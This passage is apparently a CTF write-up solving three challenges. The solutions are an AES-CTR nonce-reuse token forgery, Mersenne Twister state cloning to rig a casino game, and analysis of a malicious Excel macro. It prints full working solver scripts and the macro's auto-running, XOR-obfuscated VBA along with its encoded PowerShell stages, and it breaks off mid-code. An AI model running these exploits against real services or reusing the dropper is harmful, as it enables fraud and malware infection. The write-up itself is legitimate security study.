CBD West Regional S3 CTF Qualification
Pxilg
waifu-shop

inside the zip is the source files, and my main target was to analyze the app.py

after trying to know the app.py, i found some interesting part
KEY = os.urandom(16)
NONCE = os.urandom(8)
def crypt(data):
cipher = AES.new(KEY, AES.MODE_CTR, nonce=NONCE)
return cipher.encrypt(data)
the KEY and NONCE are the module scope not inside a function. and at the same time crypt() function handles both encryption and decryption, which is normal for CTR, but only safe if the nonce is unique, but it isn’t
The Vulnerability
AES-CTR works by generating a keystream and XOR-ing with the plaintext
ciphertext = plaintext XOR keystream
keystream = AES(KEY, NONCE || counter)
Since KEY and NONCE never change, every single call to crypt() produces the exact same keystream. This is the classic nonce reuse mistake.
This attack requires the known plaintext and target plaintext to be the same length we can only recover as many keystream bytes as the ciphertext we have.
Checking the order format for each available item:
enterprise_gold → item=enterprise_gold&price=004800&buyer=guest&ship=standard (59 bytes)
celestial_waifu → item=celestial_waifu&price=000000&buyer=guest&ship=standard (59 bytes)
Exact match. enterprise_gold is the pivot. The other available items (destroyer_set, royal_cruiser) are different lengths and won’t work.
Exploit
1. POST /order item=enterprise_gold
→ receive base64 token (this is our ciphertext)
2. keystream = base64decode(token) XOR known_plaintext
3. forged = keystream XOR target_plaintext
→ base64encode → new token
4. POST /claim order_token=<forged>
→ FLAG
with this final solver script i got the flag
#!/usr/bin/env python3
import base64
import re
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
TARGET = "https://waifu-shop.cbd2026.cloud"
SESSION = requests.Session()
SESSION.verify = False
KNOWN_PT = b"item=enterprise_gold&price=004800&buyer=guest&ship=standard"
TARGET_PT = b"item=celestial_waifu&price=000000&buyer=guest&ship=standard"
def b64d(s):
return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))
def b64e(b):
return base64.urlsafe_b64encode(b).decode().rstrip("=")
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def get_token():
r = SESSION.post(f"{TARGET}/order", data={"item": "enterprise_gold"})
r.raise_for_status()
match = re.search(r'name="order_token"\s+value="([^"]+)"', r.text)
if not match:
match = re.search(r'value="([A-Za-z0-9_\-]{40,})"', r.text)
if not match:
print("[-] Raw response snippet:")
print(r.text[:800])
raise RuntimeError("Token not found in response")
return match.group(1)
def forge(token):
ct = b64d(token)
keystream = xor_bytes(ct, KNOWN_PT)
return b64e(xor_bytes(keystream, TARGET_PT))
def claim(token):
r = SESSION.post(f"{TARGET}/claim", data={"order_token": token})
return r.text
def main():
print("[*] Fetching enterprise_gold token...")
token = get_token()
print(f"[+] Token : {token}")
forged = forge(token)
print(f"[+] Forged : {forged}")
print("[*] Submitting forged order...")
resp = claim(forged)
flag = re.search(r'[A-Z0-9_]+\{[^}]+\}', resp)
if flag:
print(f"\n[FLAG] {flag.group(0)}")
else:
print("\n[?] No flag pattern matched. Response:")
clean = re.sub(r'<[^>]+>', '', resp).strip()
print(clean[:600])
main()

casino

after downloading the zip files, there is chall.py
#!/usr/bin/env python3
import os
import random
import secrets
FLAG = open(os.environ.get('FLAG_PATH', '/flag.txt'), 'r').read().strip()
FLAG_PRICE = 50000
STARTING_BALANCE = 1000
def prompt_int(label, lower, upper):
raw = input(label).strip()
value = int(raw)
if value < lower or value > upper:
raise ValueError
return value
def next_ticket(rng):
return rng.getrandbits(32)
def play_roulette(balance, rng):
print('roulette table')
stake = prompt_int('stake: ', 1, balance)
guess = prompt_int('number (0-36): ', 0, 36)
ticket = next_ticket(rng)
winning = ticket % 37
color = 'green' if winning == 0 else ('red' if winning % 2 else 'black')
print(f'wheel: {winning} {color}')
print(f'ticket id: {ticket:08x}')
if guess == winning:
payout = stake * 36
balance = balance - stake + payout
print(f'jackpot hit, paid {payout} credits')
else:
balance -= stake
print('no payout this round')
return balance
def play_slots(balance, rng):
print('slots terminal')
stake = prompt_int('stake: ', 1, balance)
ticket = next_ticket(rng)
symbols = ['Nova', 'Bell', 'Cherry', 'Seven']
reels = [symbols[(ticket >> shift) & 0x3] for shift in (0, 2, 4)]
print('reels: ' + ' | '.join(reels))
print(f'ticket id: {ticket:08x}')
if len(set(reels)) == 1:
payout = stake * 8
balance = balance - stake + payout
print(f'line winner, paid {payout} credits')
else:
balance -= stake
print('no payout this round')
return balance
def buy_flag(balance):
if balance < FLAG_PRICE:
print(f'vip counter says you need {FLAG_PRICE} credits for the collector token')
return False
print(FLAG)
return True
def main():
balance = STARTING_BALANCE
rng = random.Random(secrets.randbits(256))
print('=== Starline Casino ===')
print('Each guest session runs its own fairness stream for audit review.')
while True:
print()
print(f'Balance: {balance} credits')
print('1. Play roulette')
print('2. Spin slots')
print(f'3. Buy VIP flag ({FLAG_PRICE} credits)')
print('4. Exit')
choice = input('> ').strip()
try:
if choice == '1':
balance = play_roulette(balance, rng)
elif choice == '2':
balance = play_slots(balance, rng)
elif choice == '3':
if buy_flag(balance):
return
elif choice == '4':
print('come back soon')
return
else:
print('invalid option')
except Exception:
print('table manager rejected that input')
if __name__ == '__main__':
main()
so what does this challenge is to get 50000 credits from gambling

to do that based on the analysis, this is a Mersenne Twister, which is a classic pseudorandom number generator in random module in python.
the strategy:
Play “Slots” 624 times with a minimum bet of 1 to gather data. The 624 outputs required to duplicate the PRNG state will be obtained in this way.
Clone the State: Sync a local PRNG with the server’s by ingesting these 624 values using a library like randcrack.
Predict & Win: Determine the winning roulette number (ticket % 37), guess the value of the following ticket, and wager all of your remaining credits. Your balance will be far higher than the 50,000 credits needed for the flag after two victories.
final script
from pwn import *
from randcrack import RandCrack
def solve():
# Connect to the challenge
io = remote('crypto.cbd2026.cloud', 1337)
cracker = RandCrack()
log.info("Collecting 624 ticket IDs to clone MT19937 state...")
for i in range(624):
io.sendlineafter(b'> ', b'2') # Play Slots
io.sendlineafter(b'stake: ', b'1')
io.recvuntil(b'ticket id: ')
ticket_id = int(io.recvline().strip(), 16)
cracker.submit(ticket_id)
if (i + 1) % 100 == 0:
print(f"Progress: {i+1}/624")
log.success("PRNG State Cloned!")
# Predict and win Roulette twice to get enough credits
for _ in range(2):
# Predict the next 32-bit output the server will generate
predicted_ticket = cracker.predict_getrandbits(32)
winning_number = predicted_ticket % 37
# Get current balance to go all-in
io.recvuntil(b'Balance: ')
balance = int(io.recvuntil(b' ', drop=True))
log.info(f"Current Balance: {balance} | Predicting: {winning_number}")
io.sendlineafter(b'> ', b'1') # Play Roulette
io.sendlineafter(b'stake: ', str(balance).encode())
io.sendlineafter(b'number (0-36): ', str(winning_number).encode())
# Buy the flag
log.info("Purchasing VIP flag...")
io.sendlineafter(b'> ', b'3')
# Print the flag
flag = io.recvline_contains(b'CBC{').decode()
log.success(f"Flag found: {flag}")
io.close()
if __name__ == "__main__":
solve()

office

after downloading the zip, i immediately use olevba to do a full file recon, and got this result
olevba Game.xlsm
olevba 0.60.2 on Python 3.13.7 - http://decalage.info/python/oletools
===============================================================================
FILE: Game.xlsm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Workbook_Open()
Dim oWs As Object
Dim sA As String, sB As String, sC As String
Dim sSh As String, sF As String, sNm As String
Dim i As Integer
Dim nKey As Byte
Dim aE As Variant
aE = Array(75, 110, 123, 110)
nKey = &HF
sNm = ""
For i = 0 To UBound(aE)
sNm = sNm & Chr(aE(i) Xor nKey)
Next i
Dim rB As Long
rB = (2 ^ 20) - (4 + 4)
Set oWs = ThisWorkbook.Sheets(sNm)
sA = oWs.Cells(rB, &H4000).Value
sB = oWs.Cells(rB + 1, &H4000).Value
sC = oWs.Cells(rB + 2, &H4000).Value
Dim sDead As String
sDead = oWs.Cells(&H1, &H1).Value & ""
If Len(sDead) > &HFF Then sDead = Left(sDead, 1)
aE = Array(99, 124, 100, 118, 97, 96, 123, 118, 127, 127, 61, 118, 107, 118)
nKey = &H13
sSh = ""
For i = 0 To UBound(aE)
sSh = sSh & Chr(aE(i) Xor nKey)
Next i
aE = Array(11, 6, 124, 66, 69, 79, 68, 92, 120, 95, 82, 71, 78, _
11, 99, 66, 79, 79, 78, 69, 11, 6, 110, 69, 72, 68, _
79, 78, 79, 104, 68, 70, 70, 74, 69, 79, 11)
nKey = &H2B
sF = ""
For i = 0 To UBound(aE)
sF = sF & Chr(aE(i) Xor nKey)
Next i
Shell sSh & sF & (sA & sB & sC), vbHide
End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Sheet2.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/Sheet2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |Workbook_Open |Runs when the Excel Workbook is opened |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|vbHide |May run an executable file or a system |
| | |command |
|Suspicious|Chr |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|Xor |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+--------------------+---------------------------------------------+
and the main target is the vbaProject.bin which is the xlsm VBA macros. and after deep research i unzip the .xlsm file and got tons of file to analyze
Archive: Game.xlsm
Length Date Time Name
--------- ---------- ----- ----
1487 1980-01-01 00:00 [Content_Types].xml
588 1980-01-01 00:00 _rels/.rels
1696 1980-01-01 00:00 xl/workbook.xml
1094 1980-01-01 00:00 xl/_rels/workbook.xml.rels
5030 1980-01-01 00:00 xl/worksheets/sheet1.xml
2166 1980-01-01 00:00 xl/worksheets/sheet2.xml
6995 1980-01-01 00:00 xl/theme/theme1.xml
5339 1980-01-01 00:00 xl/styles.xml
34853 1980-01-01 00:00 xl/sharedStrings.xml
13312 1980-01-01 00:00 xl/vbaProject.bin
187 1980-01-01 00:00 xl/calcChain.xml
613 1980-01-01 00:00 docProps/core.xml
765 1980-01-01 00:00 docProps/app.xml
inside sharedStrings.xml i found that there are some interesting cell (XFD1048568, XFD1048569, XFD1048570) and after find those cell it was a blob and some sort of key
and i manage to decode the blob and got this
$Sd886 = @("JABUAFIAbwBlAEMAUgBiACAAIAA9","ACAAIgBIADQAcwBJAEEARwBjAEUA","OQBHAGsAQwAvADkAVgBXAGIAVQ","AvAGEAVQBCAFQAKwAzAGwAO","QB4ADQAZwBmAFQA","QwBtAHMAQQBBAFYAawBRAEUAeQBn","AGcAOAB5AFcAaQB","vAEcARQB4AHUAcgBUAGwAYQBvAH","UAbAA3AGYA","cQBDAE0ATwB","XAC8ANwA5AHcAWABz","AEMAMgBZAHUAVw","BYAEoAcwBpAGIAUQAzAH","QANwBuAFAAdQBjADU","AYgB4AHkAawBPAEwAVABkAFIA","eABnAHMAdwB","vAGgATQA2ADEASgB5AHAAUQA","2AEkARwBRAGQA","MgB0AEYAQwAxAFkATwBGAEgAMwB","tAE8AZwArADkAWQB","pAGcAeABtAFMA","ZQBWAFMAWABKAEQ","AOAAyAEgATgBzAEUAMAA5","AEgARABFAEUAWQBuAEoAdwAr","AFgAVgBxAEYAMwAvA","GgAVgBlAEoATQBEAEw","ARAArAHkAWgBIAGg","ARQBJAEkAegAxAEMAbAB","MAEcASQB5AE8AMABkAEgARgA5AGU","ARwBOAGEAeABIAE","UAWQBCADUAZgBQAHgAN","QBMAE0AWAB","qAEIAVgB4AGgAbAA3AGMAawBqAHo","AbwBOAFUAdQBWAEsAbwBTA","FcARABnADMAZwBDADUAUgBFAGsA","RgBGAFcAbABEA","FcAWQBYAGcARwB","KADQAcwBDAGwAU","wBGAFgAegBwAG4ANABjAGsAWgA0","AGUAVwBuAEw","ASABOAGIAMAB4AFUAcQ","BuAFgAdwAyADUATgB","QAFMAWgBSAEMAeABXAEUAOAB","0AHEAawBVAG0AYwBzAF","MANABtAHIANQB","iADQASQBzA","FUATABlAHgA","ZQBSAHMAYQBIAGQAV","wBZAG0AMABYAH","UAWgBOAEsAaABVAHM","ARwBDAG4Aeg","BIAEcARAA5","AFMAZgAvAFAAT","gBkAGkATgA0","AFEAbgB4AGgAMwB1ADQAMA","AyADkAMQBDAG8AUgAxA","G4AZABtAGQAcwBWADIAdAAyAE","8ANgAxAE8AcAA1AHYAWQB","uAGUAawBCAGgATgBTAFcAUwA1","ADUAaAB3AEMAUwAxAFkAdABzAFo","AawAwAEIATwBXAEgAagB3AE","EAcABBAHAAa","gAwADEANQA2AG4AZwA3AEIA","RQBNADkASQArADUAagBaAE4ARgBW","AHIAZwBIAGwAcABBADkA","cgB1ADQAYgBEAGQAQ","wBVAE0AcAB1AG","cAbQBuAEcANgBDAGQARwBYAFkA","MwBjAFcAWABrA","EkATwBKAGsAbQBLAG","YANQBIAEwAcAB6AEw","AQQBnAEkAZQA5AHIAQQAyAFI","AcQBSAEQARgB1ADIAYgBFA","DcATwBEAHcARQBlAF","EASgA3AFUARgBQ","AFMAOQBpAGoANg","B2AGcARwB6AHoA","YgBjAG8ALwBHAG4AegBMAGEAcQB","TADYAUgAzADUAaQBrAFUARgB","YAHYAbgBxADYAQQBoAE","sAeABRAHoAegBqAEgANAAxADYA","SwBIADAAKwA5AEIAUQB","tADcANQBQADMARABFAD","kAcQBRADQAOQBIAGwAbAA1","AFoAMQBUAGIAV","QBSAEkAVQBTAHkAbABiAGIAcwBZ","AGIATwBGAE4ASwA","2AGMASgBuADAAZgAwAFcARQ","BqAEoAbQBJAFgAeQB2AE4AKwB","EAEsAQwAyAG8AeQBlAHoATAB5A","FEATQArADQAbQBLAGUAVgBOAGIA","YQBoAHkATABK","AEIAZgBYAE8ANQB","vAHkAeQBJAE4AZgBp","AEUAYQAxAFEAcQBGAEcANQBuAG","QAagA3AEMAagB","IAFEAcgBaAGoAUwBTAFkAbgA2A","C8AUgBjADcAQwAwAF","YAeQAvAFQATABWAEkAbgByAHQAT","QBQAFUANQB","XADIAaQBvAEUAO","QBQAGEANwBWAFIAMgA3AHAAawBYA","E0ASgB6AHoALwBrAGkAMQBQAG8","AcABzAFcAeQBLAGEARgBQAEM","AYgBhADMAKwB6A","FMAWgBMAGUAeQBY","AG0AVwBCADUAbQA2AGI","AZQBkAGoAUAAxAEEAbQBEAD","AAaABvAFUAZwBlAEcAeQBkA","DcARQBuAHUAOQ","AxADQASwA3AFkAaABBAHAA","eQBIAHkAcABiADkAUgB","IADAAbABxADYAdQBVAHEAcQA","1AHMAagBQAG","gAOQBEADQAMQBXAHQAYwBKA","EIANwBYAE8","AMQBFAG0AUABmAEYATwBiAEYAMAB","uADYANQBVAGoAMgBvAFoAYgBwA","DAAKwBVAGQAbAB1AGk","AMgBkAGYAVgBzA","HYAUABWAC8","AMQByADcAMgB5","AFAAZgBwAEkAVQBoAE8ASgBF","AGEATAB2AFIAWQBZ","AFQAVQB2ADUASgBq","AHAAMQBFAGoAaQB0AC8ASgBjAGM","AQgB5AC8ASAArAC8AN","QB0AGoATQBhADkANgAxAHoAKwAr","AG4AOAA5AHYAdABIADQAOABQAD","EAbgBsADIATgBCAEQAVQBpA","DEAcgB0AG0AKwBSAEk","ATQBMAHAAbgBvAGQAZgBUACsAZwB","tAEMAVQBIAEgAVAB3A","FAAdwA2AFcAMAAyAFoAOQ","BLAEMAQwBQAFcAVQBMAEkARAAvA","C8ASQByAHgAdgAyAGEAd","ABiADIAQwAvADMASQBEAEEAMAB","tAHAAaABrAG8AdgBWAH","UAMAAzAGMAdQBUAGMAbQBIA","E0AZABWADAANwBX","AHEAdABiAFIATgBaAEYAOA","BmADAAOQBHA","E0AUwBQAEgARQBvAFAAMQBUAGI","AWABDAFEARwBTAG","cAOABQAGkAYgBqAG8AOABTAG","UATwA4AE4AdwBxAE4AMwBB","AG0ANwBaAFkAZwBFAFMAUQBzA","DkASABLAHUAQwBIAFMAbwBxACsA","agAwAGkAWQB","tACsAegBPAEYAOQBhADQAT","wBBADkAMABOAHMAYQBhAG4AW","ABkAHYAVgBuAFoAYgBqA","G0AVQA4AHkAdAA1AGkASABRAG","wANABZAEYAeQBOADEAWQAvADQAcw","BwAGEAWAAwAEU","ANwBWADMAcQBqAHUAOQBDA","FEAQQBBACIACgAkAEs","AWAB6AFcAIAAgACAAPQAgAFsAUw","B5AHMAdABlAG0ALg","BJAE8ALgBNAGUAbQBvAHIAeQ","BTAHQAcgBlAGEAbQBdAFsAQwBvAG","4AdgBlAHIAdABdADoAOgB","GAHIAbwBtAEIAYQB","zAGUANgA0AFMA","dAByAGkAbgBnACgAJABUA","FIAbwBlAEMAUgBiACkACgAkAFk","AUgBHAGsANwAgACAAIAA9ACAAW","wBTAHkAcwB0AGUAbQAuAEkATw","AuAEMAbwBtAH","AAcgBlAHMA","cwBpAG8AbgAu","AEcAegBpAHAAUwB0","AHIAZQBhAG0AXQ","A6ADoAbgBlAHcAKAAkAEs","AWAB6AFcALAAgAFsAUwB5AHMAdA","BlAG0ALgBJAE8A","LgBDAG8AbQBwAHIAZQBzA","HMAaQBvAG4ALgBD","AG8AbQBwAHIAZQBzAHMAaQBvAG","4ATQBvAGQAZQBdADoAOgBEA","GUAYwBvAG0AcA","ByAGUAcwBzACkACgAkA","FUAYgBaAEM","AYQBSACAAIAAgAD0AIABbAFMAeQB","zAHQAZQBtAC4ASQBPAC","4AUwB0AHIAZQBhAG0","AUgBlAGEAZABlAHIAXQA","6ADoAbgBlAHcAKAAkAF","kAUgBHAGsANwApAAoAJABPADU","AUwBPAGIAIAA9ACAAJAB","VAGIAWgBDAGEAUgAuAF","IAZQBhAGQAVABvAEUA","bgBkACgAKQAKAEEAZABkA","C0AVAB5AHAAZQAgAC0A","VAB5AHAAZQBEAGUAZgBpAG4AaQB","0AGkAbwBuACAAJABPADUAUwB","PAGIACgAKACQAZQB4A","HAAZQBjAHQAZQB","kAEgAYQBzAG","gAIAA9ACAAIgBBADAANAA1AEEA","NQA0AEUANQA3ADMA","NwBFAEYAIgAKACQAaAB","vAHMAdABuAGEAbQBlACA","AIAAgACAAIAA9ACAAJABl","AG4AdgA6AEMATwBNAFAAVQB","UAEUAUgBOAEEATQBF","AAoACgBpAGYAIAAoACgAWwBY","AEoASgBmAFEAaAAwAE","gATQBZAF0AOgA6AEwAcwBYAHgA","YQBRACgAJABoAG","8AcwB0AG4AYQBtAGUALAAgA","FsAdQBpAG4AdAAzADIAXQA","zADcAMwA1ADkAMgA4ADUAN","QA5ACkAIAAtAG4AZQAgACQ","AZQB4AHAAZQBjAHQAZQBkAEgAY","QBzAGgAKQAgAC0AYQBuAGQ","AIAAoACQAaABvAHMAdABuAGEA","bQBlAC4ATABlAG4AZwB0AGgAIA","AtAG4AZQAgADcAKQApACAAewA","gAGUAeABpAHQAIA","B9AAoAJAB4AG","wAIAAgACAAPQAgAFsAUgB1A","G4AdABpAG0AZQAuAEk","AbgB0AGUAcgBvAHAAUwBlAHI","AdgBpAGMAZQB","zAC4ATQBhAHIAc","wBoAGEAbABdADoAO","gBHAGUAdABBAGMAdABpAHYAZQBP","AGIAagBlAGMAdAAoACIARQB4AGMA","ZQBsAC4AQQBwAHA","AbABpAGMAYQB0AGkAbwBu","ACIAKQAKACQAdwBzACAAIAAg","AD0AIAAkAH","gAbAAuAFcAbwByAG","sAYgBvAG8A","awBzAC4ASQB0AGUAbQAoADEAKQA","uAFMAaABlAGUAdABzAC4ASQB0AG","UAbQAoACIARABhAH","QAYQAiACkAC","gAkAGsAZQB5AC","AAIAA9ACAAJAB3A","HMALgBDAGU","AbABsAHMALgBJAHQ","AZQBtACgAMQAw","ADQAOAA1ADcA","MgAsACAAMQA2ADMAOAA0ACkALgBW","AGEAbAB1AGUAMgAKAAoA","aQBmACAAKABb","AFgASgBKAGYAUQBo","ADAASABNAFkAX","QA6ADoAUABpAGEAMgB3AFIAUA","BVAG8ANABpA","FgAKAAkAGgAbwB","zAHQAbgBhAG0AZQ","AsACAAWwB1","AGkAbgB0ADMAM","gBdADMANAAwADUANgA5ADEAN","QA4ADIAKQAgAC0AbgBlACAAJ","ABrAGUAeQApACAAew","AgAGUAeABpAHQ","AIAB9AAoACgAkAGUAbgBjADIA","IAA9ACAAJAB3AHMALgBDAG","UAbABsAHMALgBJ","AHQAZQBtACgAMQAwADQAOAA1ADcA","MwAsACAAMQA2ADMAOAA","0ACkALgBWAGEAbAB1A","GUAMgAKAAoAJABwAGEAeQBsAG","8AYQBkADIAIAA9ACAAWwB","TAHkAcwB0AGUAbQAuAFQAZQB4","AHQALgBFAG4AYwBvAGQAaQBuAGc","AXQA6ADoAVQBUAEYAOAA","uAEcAZQB0AF","MAdAByAGkA","bgBnACgAWwBYAEoASgBmA","FEAaAAwAEgATQBZAF","0AOgA6AEgAVQB6AHEATQB4AFYAQw","BQAHUAeABKACgAJABlAG4AYwA","yACwAIAAkAGsAZQB5ACkA","KQAKAEkAbgB2AG8Aa","wBlAC0ARQB4AHAAcg","BlAHMAcwBpAG8AbgAgA","CQAcABhAHkA","bABvAGEAZAAyAAoA")
$IVVvPHr = [System.Text.Encoding]::unICOdE.GEtSTRInG([Convert]::frOmBaSe64stRiNG([string]::jOIn("", $Sd886)))
. ( $ShELLId[1]+$sHElLId[13]+"x") $IVVvPHr
and it seems it still can be decrypted
import re
import base64
data = open("stage1.ps1", "r", encoding="utf-8").read()
chunks = re.findall(r'"([^"]+)"', data)
joined = "".join(chunks)
decoded = base64.b64decode(joined)
# PowerShell used Unicode = UTF-16LE
text = decoded.decode("utf-16le", errors="ignore")
open("stage2.ps1", "w", encoding="utf-8").write(text)
print("[+] extracted to stage2.ps1")
using this script i manage to decrypt it again and got this
$TRoeCRb = "H4sIAGcE9GkC/9VWbU/aUBT+3l9x4gfTCmsAAVkQEygg8yWioGExurTlaoul7fqCMOW/79wXsC2YuWXJsibQ3t7nPuc5bxykOLTdRxgswohM61JypQ6IGQd2tFC1YOFH3mOg+9YigxmSeVSXJD82HNsE09HDEEYnJw+XVqF3/hVeJMDLD+yZHhEIIz1ClLGIyO0dHF9eGNaxHEYB5fPx5LMXjBVxhl7ckjzoNUuVKoSWDg3gC5REkFFWlDWYXgGJ4sClSFXzpn4ckZ4eWnLHNb0xUqnXw25NPSZRCxWE8tqkUmcsS4mr5b4IsULexeRsaHdWYm0XuZNKhUsGCnzHGD9Sf/PNdiN4Qnxh3u40291CoR1ndmdsV2t2O61Op5vYnekBhNSWS55hwCS1YtsZk0BOWHjwApApj0156ng7BEM9I+5jZNFVrgHlpA9ru4bDdCUMpugmnG6CdGXY3cWXkIOJkmKf5HLpzLAgIe9rA2RqRDFu2bE7ODwEeQJ7UFPS9ij6vgGzzbco/GnzLaqS6R35ikUFXvnq6AhKxQzzjH416KH0+9BQm75P3DE9qQ49Hll5Z1TbURIUSylbbsYbOFNK6cJn0f0WEjJmIXyvN+DKC2oyezLyQM+4mKeVNbahyLJBfXO5oyyINfiEa1QqFG5ndj7CjHQrZjSSYn6/Rc7C0Vy/TLVInrtMPU5W2ioE9Pa7VR27pkXMJzz/ki1PopsWyKaFPCba3+zSZLeyXmWB5m6bedjP1AmD0hoUgeGyd7Enu914K7YhApyHypb9RH0lq6uUqq5sjPh9D41WtcJB7XO1EmPfFObF0n65Uj2oZbp0+Udlui2dfVsvPV/1r72yPfpIUhOJEaLvRYYTUv5Jjp1Ejit/JccBy/H+/5tjMa961z++n89vtH48P1nl2NBDUi1rtm+RIMLpnodfT+gmCUHHTwPw6W02Z9KCCPWULID//Irxv2atb2C/3IDA0mphkovVu03cuTcmHMdV07WqtbRNZF8f09GMSPHEoP1TbXCQGSg8Pibjo8SeO8NwqN3Am7ZYgESQs9HKuCHSoq+j0iYm+zOF9a4OA90NsaanXdvVnZbjmU8yt5iHQl4YFyN1Y/4spaX0E7V3qju9CQAA"
$KXzW = [System.IO.MemoryStream][Convert]::FromBase64String($TRoeCRb)
$YRGk7 = [System.IO.Compression.GzipStream]::new($KXzW, [System.IO.Compression.CompressionMode]::Decompress)
$UbZCaR = [System.IO.StreamReader]::new($YRGk7)
$O5SOb = $UbZCaR.ReadToEnd()
Add-Type -TypeDefinition $O5SOb
$expectedHash = "A045A54E5737EF"
$hostname = $env:COMPUTERNAME
if (([XJJfQh0HMY]::LsXxaQ($hostname, [uint32]3735928559) -ne $expectedHash) -and ($hostname.Length -ne 7)) { exit }
$xl = [Runtime.InteropServices.Marshal]::GetActiveObject("Excel.Application")
$ws = $xl.Workbooks.Item(1).Sheets.Item("Data")
$key = $ws.Cells.Item(1048572, 16384).Value2
if ([XJJfQh0HMY]::Pia2wRPUo4iX($hostname, [uint32]3405691582) -ne $key) { exit }
$enc2 = $ws.Cells.Item(1048573, 16384).Value2
$payload2 = [System.Text.Encoding]::UTF8.GetString([XJJfQh0HMY]::HUzqMxVCPuxJ($enc2, $key))
Invoke-Expression $payload2
䐨눬휝߫划矈﹝
which is another blob but with more information, in this case i got the expectedHash, and hostname
and i decrypt it again and got the final one
$HSl5 = @("JABKAGoAUQBuAGYARAAgAD0AIAA","kAGUAbgB2ADoAV","QBTAEUAUgBOAEE","ATQBFAAoAJABRAE0ASgBvA","FEAdgAgACAAIA","A9ACAAWwBSAHUAbgB0AGkA","bQBlAC4ASQB","uAHQAZQByAG8AcABTAGUAcgB2AG","kAYwBlAHMALgBN","AGEAcgBzAGgAYQBsAF0","AOgA6AEcAZQB0AEEAYwB0AGkAd","gBlAE8AYgBqAGUAYwB0ACg","AKAAiAHsAMQB9","AHsAMgB9AHsAMAB9","ACIAIAAtAG","YAIAAiAGMAYQB0AGkAb","wBuACIALAAiAEUAeABjAGUAbAAu","ACIALAAiAEEAcABwAGwAaQAiACkA","KQAKACQATQA5AEsASwAgACAAI","AA9ACAAJABRAE0","ASgBvAFEAdgAuAFcAb","wByAGsAYgBvAG8AawBzAC4ASQB0A","GUAbQAoADEAKQAu","AFMAaABlAGUAdABzAC4","ASQB0AGUAb","QAoACgAIgB7A","DEAfQB7ADIAf","QB7ADAAfQAiACAALQBmACAAIg","BhACIALAAiAEQAYQAiACwAIgB0A","CIAKQApAAoACgAkAFEA","VgB1AGQAaQAgAD0AIAAoA","CIAewAzAH0AewAxAH0AewAwAH0Ae","wAyAH0AewA0AH0AI","gAgAC0AZgAgACIAMwA1AEIARgBDA","CIALAAiAEUAMwA2AEUAIgAsACI","AMgAiACwAIgBGAEQARAAiACwA","IgA4ACIAKQAKAGkAZgAgACgAKABb","AFgASgBKAGYAUQ","BoADAASABNAFkAXQA6ADoAUABpA","GEAMgB3AFIAU","ABVAG8ANABpAFgAKAAk","AEoAagBRAG4AZgBEACwAI","ABbAHUAaQBu","AHQAMwAyAF0AMw","A0ADAANQA2ADkAMQ","A1ADgAMgApACAALQB","uAGUAIAAkAFEAVgB1AGQAaQApACA","ALQBhAG4AZAAgACgAJABKAGoA","UQBuAGYARAAuAEwAZQ","BuAGcAdABoACAALQBuAGUAIAA3","ACkAKQAgAHsAIABlAHg","AaQB0ACAAfQAKAAoAJABIAGEAT","gBRAGUAegAgAD0AI","AAkAE0AOQBLAEsALg","BDAGUAbABsAHMALgBJAHQAZQBtA","CgAMQAwADQAO","AA1ADcANAAsACAAMQA2ADMAOA","A0ACkALgBWAGEAbAB1AGUAMgAKA","AoAJABKAFIANAB6ACAAPQAg","AFsAUwB5AHMAdABlA","G0ALgBUAGUAeAB0A","C4ARQBuAGMAbwBkA","GkAbgBnAF0AOgA6AFUAVABGADgAL","gBHAGUAdABTAHQAcgBpAG4AZwAoA","FsAWABKAEoAZgBRAGgAMABIAE0A","WQBdADoAOgBIAFUA","egBxAE0AeABWAEM","AUAB1AHgASgAoAC","QASABhAE4AUQB","lAHoALAAgACQASgBqAFEA","bgBmAEQAKQA","pAAoAJgAoACIAe","wAyAH0AewA","wAH0AewAxAH0AIgAgAC0","AZgAgACgAIgB7ADAAfQB","7ADIAfQB7ADEAfQAi","ACAALQBmACAAIgBrAGUAIgAsACI","AcgBlACIALAAi","AC0ARQB4AHAAIgApACwAKAAi","AHsAMwB9AHsAMgB9A","HsAMAB9AHsAMQB","9ACIAIAAtAGYAIA","AiAG8AIgAsACIAbgAiACw","AIgBzAGkAIgAsACIAcwAi","ACkALAAoACIA","ewAyAH0AewAwAH0Ae","wAxAH0AIgAgAC0AZgAgACIA","dgAiACwAIgBvACIALAAiAEkAbg","AiACkAKQAgACQASgBSA","DQAegAKAA==")
$TkoZDf = [System.Text.Encoding]::unICode.gEtSTrING([Convert]::FrombASe64sTRiNg([string]::JoIN("", $HSl5)))
&(("{4}{1}{3}{2}{0}" -f "ssion","ok","xpre","e-E","Inv")) $TkoZDf
using System;
using System.Security.Cryptography;
using System.Text;
public class XJJfQh0HMY {
private static byte[] GQObhG(string password) {
using (SHA256 sha = SHA256.Create())
return sha.ComputeHash(Encoding.UTF8.GetBytes(password));
}
public static string OjLTiE(string input) {
byte[] b = Encoding.UTF8.GetBytes(input);
uint k = 0xDEADF00Du;
uint v = 0xCAFEBEEFu;
var sb = new StringBuilder();
for (int i = 0; i < b.Length; i += 4) {
uint blk = 0u;
for (int j = 0; j < 4 && (i + j) < b.Length; j++)
blk |= (uint)b[i + j] << (j * 8);
blk ^= v;
blk += k;
blk = (blk << 11) | (blk >> 21);
v = blk;
sb.Append(blk.ToString("X8"));
}
return sb.ToString();
}
private static uint _seed = 0;
